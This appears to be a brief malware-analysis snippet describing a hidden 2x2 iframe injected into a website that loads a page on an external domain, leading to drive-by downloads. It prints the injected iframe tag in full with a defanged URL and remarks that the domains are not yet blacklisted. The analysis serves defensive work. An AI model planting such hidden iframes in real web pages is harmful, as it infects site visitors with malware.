Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Malware entry:
< iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src="hxxp://brg-catalogues[.]com/mzcf.html?j=1886263 >
The URL in
src of the iframe hosts another ~15 similar HTML pages (mzcf.html) leading to drive-by-download attack. Both domains are not flagged by Google, meaning that they have not yet been blacklisted:
Google report - 1